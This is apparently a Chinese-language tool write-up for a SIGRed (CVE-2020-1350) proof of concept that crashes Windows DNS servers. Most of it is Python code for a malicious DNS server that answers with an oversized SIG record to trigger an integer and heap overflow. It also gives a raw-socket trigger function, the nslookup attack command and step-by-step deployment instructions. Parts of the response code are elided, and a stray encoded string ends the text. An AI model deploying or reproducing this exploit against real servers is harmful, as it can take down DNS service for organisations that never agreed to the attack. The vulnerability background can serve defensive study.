SIGRed (CVE-2020-1350) - Windows DNS服务器远程拒绝服务攻击利用工具

3 阅读6分钟

SIGRed (CVE-2020-1350) - Windows DNS服务器远程拒绝服务攻击

项目概述

SIGRed是一个针对Windows DNS服务器(CVE-2020-1350)漏洞的概念验证利用工具。该漏洞存在于Windows DNS服务器处理SIG(签名)记录的方式中,远程攻击者可以利用此漏洞触发整数溢出,导致DNS服务崩溃。此工具展示了如何通过精心构造的DNS响应包,实现对未打补丁的Windows DNS服务器的拒绝服务攻击。

本项目完整实现了Check Point Research发现的技术细节,提供了一个可工作的恶意DNS服务器,用于演示漏洞的触发过程。

功能特性

  • 远程拒绝服务攻击:通过网络触发Windows DNS服务器崩溃,无需本地访问权限
  • 完整的DNS协议实现:支持TCP和UDP协议在53端口的DNS通信
  • 自动域名压缩处理:将目标域名自动转换为DNS查询所需的压缩格式
  • 恶意SIG记录生成:构造超长的SIG记录以触发整数溢出漏洞
  • 多线程服务器:同时处理TCP和UDP连接请求,提高攻击成功率
  • 实时调试信息:提供详细的连接日志和数据包十六进制转储

安装指南

系统要求

  • Python 3.6+
  • Linux/Unix系统(推荐)或Windows
  • root权限(用于绑定53端口)

依赖项

本项目仅使用Python标准库,无需安装额外依赖包。

安装步骤

  1. 克隆或下载本项目的Python脚本
wget https://example.com/sigred_dos.py
chmod +x sigred_dos.py
  1. 确保53端口未被占用
# 检查端口占用情况
sudo netstat -tulpn | grep :53

# 如被systemd-resolved占用,可临时禁用
sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved

使用说明

基础配置

  1. 准备恶意域名

    • 注册一个域名(如yourdomain.com
    • 设置该域名的NS记录指向你的攻击服务器IP
    • 配置A记录使恶意域名解析到攻击服务器
  2. 启动恶意DNS服务器

sudo python3 sigred_dos.py yourdomain.com

服务器将在0.0.0.0:53上监听TCP和UDP连接

攻击执行

在任意可以访问目标Windows DNS服务器的机器上执行:

nslookup -type=sig 9.yourdomain.com <目标DNS服务器IP>

例如:

nslookup -type=sig 9.example.com 192.168.1.100

测试环境搭建

如果你有权访问目标Windows服务器,可以配置条件转发器简化测试:

  1. 打开DNS管理器
  2. 右键点击"条件转发器" → "新建条件转发器"
  3. 域名填写:yourdomain.com
  4. IP地址填写:运行恶意DNS服务器的IP
  5. 勾选"在此域中存储条件转发器"

预期结果

成功触发漏洞后,目标Windows服务器的DNS服务将会崩溃,事件查看器中应出现相应错误日志。

核心代码

DNS服务器主程序

#!/usr/bin/env python3
import socket
import sys
import threading
import struct

domain = None
domain_compressed = None

def setup():
    global domain_compressed
    # 将域名转换为DNS格式(如example.com转为\x07example\x03com\x00)
    parts = domain.split('.')
    domain_compressed = b''
    for part in parts:
        domain_compressed += bytes([len(part)]) + part.encode()
    domain_compressed += b'\x00'
    print(f"Domain compressed: {domain_compressed.hex()}")

def tcp_server():
    """TCP DNS服务器 - 处理TCP协议的DNS请求"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', 53))
    sock.listen(50)
    print("TCP server listening...")
    
    while True:
        try:
            connection, client_address = sock.accept()
            print(f"Received TCP Connection from {client_address}")
            data = connection.recv(65535)
            
            if len(data) < 2:
                connection.close()
                continue
                
            # 构建SIG记录 - 核心攻击载荷
            sig = b"\x00\x01"  # Type covered: SIG
            sig += b"\x05"      # Algorithm: RSA/SHA1
            sig += b"\x00"      # Labels
            sig += b"\x00\x00\x00\x20"  # TTL: 32秒
            sig += b"\x68\x76\xa2\x1f"  # Signature Expiration
            sig += b"\x5d\x2c\xca\x1f"  # Signature Inception
            sig += b"\x9e\x04"  # Key Tag
            sig += b"\xc0\x0d"  # Signers Name (指向域名)
            # 构造超长签名数据触发整数溢出
            sig += (b"\x00"*(19 - len(domain)) + (b"\x0f" + b"\xff"*15)*5).ljust(65465 - len(domain_compressed), b"\x00")
            
            # SIG资源记录头部
            hdr = b"\xc0\x0c"  # 指向"9.domain"的指针
            hdr += b"\x00\x18"  # Type: SIG
            hdr += b"\x00\x01"  # Class: IN (Internet)
            hdr += b"\x00\x00\x00\x20"  # TTL: 32秒
            hdr += struct.pack('>H', len(sig))  # SIG记录长度
            
            # DNS响应头部
            response = b"\x81\xa0"  # Flags: 标准响应
            response += b"\x00\x01"  # Questions: 1
            response += b"\x00\x01"  # Answer RRs: 1
            # ... 后续响应构建代码

UDP服务器处理函数

def udp_server():
    """UDP DNS服务器 - 处理UDP协议的DNS请求"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', 53))
    print("UDP server listening...")
    
    while True:
        try:
            data, client_address = sock.recvfrom(65535)
            print(f"Received UDP from {client_address}")
            
            if len(data) < 12:
                continue
                
            # 解析DNS查询头
            transaction_id = data[:2]
            questions = struct.unpack('>H', data[4:6])[0]
            
            if questions == 0:
                continue
                
            # 构建恶意响应
            # 使用与TCP服务器相同的SIG记录构造方式
            # ...
            
            sock.sendto(response, client_address)
            
        except Exception as e:
            print(f"UDP error: {e}")

# 启动多线程服务器
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python sigred_dos.py <domain>")
        sys.exit(1)
    
    domain = sys.argv[1]
    setup()
    
    # 创建TCP和UDP线程
    tcp_thread = threading.Thread(target=tcp_server)
    udp_thread = threading.Thread(target=udp_server)
    
    tcp_thread.daemon = True
    udp_thread.daemon = True
    
    tcp_thread.start()
    udp_thread.start()
    
    print("Malicious DNS server running... Press Ctrl+C to stop")
    try:
        tcp_thread.join()
        udp_thread.join()
    except KeyboardInterrupt:
        print("\nShutting down...")
        sys.exit(0)

DNS查询触发示例

# 触发攻击的nslookup命令示例
"""
# 正常DNS查询示例
> nslookup -type=sig 9.example.com 192.168.1.100
Server:  dns-server.example.com
Address:  192.168.1.100

# 预期响应(实际会崩溃)
*** dns-server.example.com 找不到 9.example.com: 无响应
"""

# 使用Python socket直接触发
def trigger_exploit(target_dns, malicious_domain):
    """使用原始socket发送恶意查询"""
    import socket
    
    # 构建DNS查询包
    transaction_id = b'\x12\x34'  # 随机事务ID
    flags = b'\x01\x00'  # 标准查询
    questions = b'\x00\x01'  # 1个问题
    answer_rrs = b'\x00\x00'
    authority_rrs = b'\x00\x00'
    additional_rrs = b'\x00\x00'
    
    # 查询名称: 9.malicious.com
    qname = b'\x019' + domain_compressed
    qtype = b'\x00\x18'  # SIG记录类型
    qclass = b'\x00\x01'  # IN类
    
    query = (transaction_id + flags + questions + answer_rrs + 
             authority_rrs + additional_rrs + qname + qtype + qclass)
    
    # 发送UDP查询
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    sock.sendto(query, (target_dns, 53))
    
    try:
        response, _ = sock.recvfrom(4096)
        print(f"收到响应: {response.hex()}")
    except socket.timeout:
        print("目标无响应 - 可能已崩溃")

# 使用示例
# trigger_exploit('192.168.1.100', b'\x07example\x03com\x00')

技术原理

漏洞触发过程分为以下步骤:

  1. 查询触发:攻击者向目标DNS服务器发送SIG记录查询请求(nslookup -type=sig 9.恶意域名
  2. 递归解析:目标服务器向恶意DNS服务器请求域名解析
  3. 恶意响应:攻击服务器返回精心构造的SIG记录,其中签名数据部分远超正常长度
  4. 整数溢出:Windows DNS服务器在处理SIG记录时,计算所需缓冲区大小时发生整数溢出,分配了过小的缓冲区
  5. 堆溢出:后续复制签名数据时发生堆缓冲区溢出,导致服务崩溃

此漏洞存在于Windows Server 2003至Windows Server 2019版本中,微软已于2020年7月发布安全更新修复此问题。 6HFtX5dABrKlqXeO5PUv/+E/hJRSQARIxD3JszXGRmu6kZtdRHjqthaMyqT6Del5